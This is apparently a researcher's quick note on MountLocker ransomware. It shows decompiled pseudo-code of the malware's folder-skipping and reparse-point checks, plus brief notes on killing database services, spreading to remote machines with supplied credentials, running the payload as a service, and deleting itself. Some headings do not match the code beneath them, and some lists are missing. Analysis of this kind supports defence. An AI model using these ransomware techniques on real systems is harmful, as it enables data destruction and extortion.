[QuickNote] MountLocker – Some pseudo-code snippets

Published: 2021-08-04 · Archived: 2026-04-05 22:57:07 UTC

+ Kill services, if service name contains any string is `"SQL", "database", "msexchange"` :

```
__int64 __fastcall f_ml_check_folder_in_ignored_list_and_log_info( __int64 *stru_offset, ml_target_info *target_info)
{
    REPARSE_DATA_BUFFER *reparse_point_data;
    const WCHAR *ptr_ignored_folder_list;
    const WCHAR *target_name;
    __int64 i;
    const wchar_t *black_list_info;
    HANDLE hFile;
    __int64 win32_err_code;
    const wchar_t *err_log_str;
    BOOL ret;
    __int64 v14;
    char *v15;
    DWORD BytesReturned;
    reparse_point_data = (REPARSE_DATA_BUFFER *)&target_info->target_ransom_note_name;
    _InterlockedAdd(&dword_140013350, 1u);
    ptr_ignored_folder_list = g_ignored_folder_list;
    target_name = CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->target_name;
    i = 0i64;
    while ( ptr_ignored_folder_list )
```

```
22      {
23        if ( StrStrIW(target_name, ptr_ignored_folder_list) )
24        {
25          black_list_info =  L"[SKIP] locker.dir.check > black_list name=%s\r\n" ;
26  LABEL_10:
27          _InterlockedAdd(&dword_140013354, 1u);
28  log_info:
29          f_ml_write_format_string_to_log_file_or_console(1, black_list_info, target_name);
30          return 0i64;
31        }
32        ptr_ignored_folder_list = (&g_ignored_folder_list)[++i];
33      }
34      if ( g_target || g_fullpd_flag )
35      {
36        target_info->encrypt_target_of_full_flag = 0;
37      }
38      else if ( f_ml_check_folder_name_is_ProgramData_ProgramFiles_SQL(stru_offset,
    target_info) )
39      {
40        black_list_info =  L"[SKIP] locker.dir.check > no sql program dir name=%s\r\n" ;
41        goto LABEL_10;
42      }
43      if ( !(CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)-
44  >lpFindData.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) )
45      {
46        f_ml_write_format_string_to_log_file_or_console(1,  L"[OK] locker.dir.check >
    name=%s\r\n" , target_name);
47
```

```
48      return 1i64;
49    }
50    hFile = CreateFileW(target_name, 0x80u, 7u, 0i64, OPEN_EXISTING, 0x2200400u, 0i64);
51    if ( hFile == ( HANDLE )INVALID_HANDLE_VALUE )
52    {
53      win32_err_code = GetLastError();
54      err_log_str = L"[WARN] locker.dir.check > open error=%u name=%s\r\n" ;
55  log_error:
56      f_ml_write_format_string_to_log_file_or_console(1, err_log_str, win32_err_code,
    target_name);
57      return 1i64;
58    }
59    ret = DeviceIoControl(hFile, FSCTL_GET_REPARSE_POINT, 0i64, 0, reparse_point_data,
60  0x4000u, &BytesReturned, 0i64);
61    CloseHandle(hFile);
62    if ( !ret )
63    {
64      win32_err_code = GetLastError();
65      err_log_str = L"[WARN] locker.dir.check > get_reparse_point error=%u
66  name=%s\r\n" ;
67      goto log_error;
68    }
69    if ( reparse_point_data->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT )
70    {
71      v14 = 0x10i64;
72    }
73    else
```

```
74      {
75        if ( reparse_point_data->ReparseTag != IO_REPARSE_TAG_SYMLINK )
76        {
77          win32_err_code = reparse_point_data->ReparseTag;
78          err_log_str =  L"[WARN] locker.dir.check > unknown_tag tag=%0.8X name=%s\r\n" ;
79          goto log_error;
80        }
81        v14 = 0x14i64;
82      }
83      v15 = ( char *)reparse_point_data + v14;
84      if ( *target_name ==  '\\'
85        && CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->target_name[1] ==
          '\\'
86
87        && CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->target_name[2] !=
          '?' )
88      {
89        black_list_info =  L"[SKIP] locker.dir.check > reparse_point_into_share
          name=%s\r\n" ;
90
91        goto log_info;
92      }
93      if ( StrStrIW(( PCWSTR )(( char *)reparse_point_data + v14),  L":\\" ) )
94      {
95        _InterlockedAdd(&dword_140013354, 1u);
96        f_ml_write_format_string_to_log_file_or_console(1,  L"[SKIP] locker.dir.check >
          target_visibled target=%s name=%s\r\n" , v15, target_name);
97
98        return 0i64;
99      }
```

```
100     f_ml_write_format_string_to_log_file_or_console(1,  L"[OK] locker.dir.check > target_hidden target=%s name=%s\r\n"  , v15, target_name);

        return  1i64;

}
```

…. and skipped folder name is:

+ Use `WNetAddConnection2W` to make a connection to remote target PC by using the provided username and password arg:

+ Execute payload through a service.

After completing the encryption process on the victim machine, it updates log statistics:

Malware checks the `/NODEL` argument. If this value is `0` , it will delete itself.
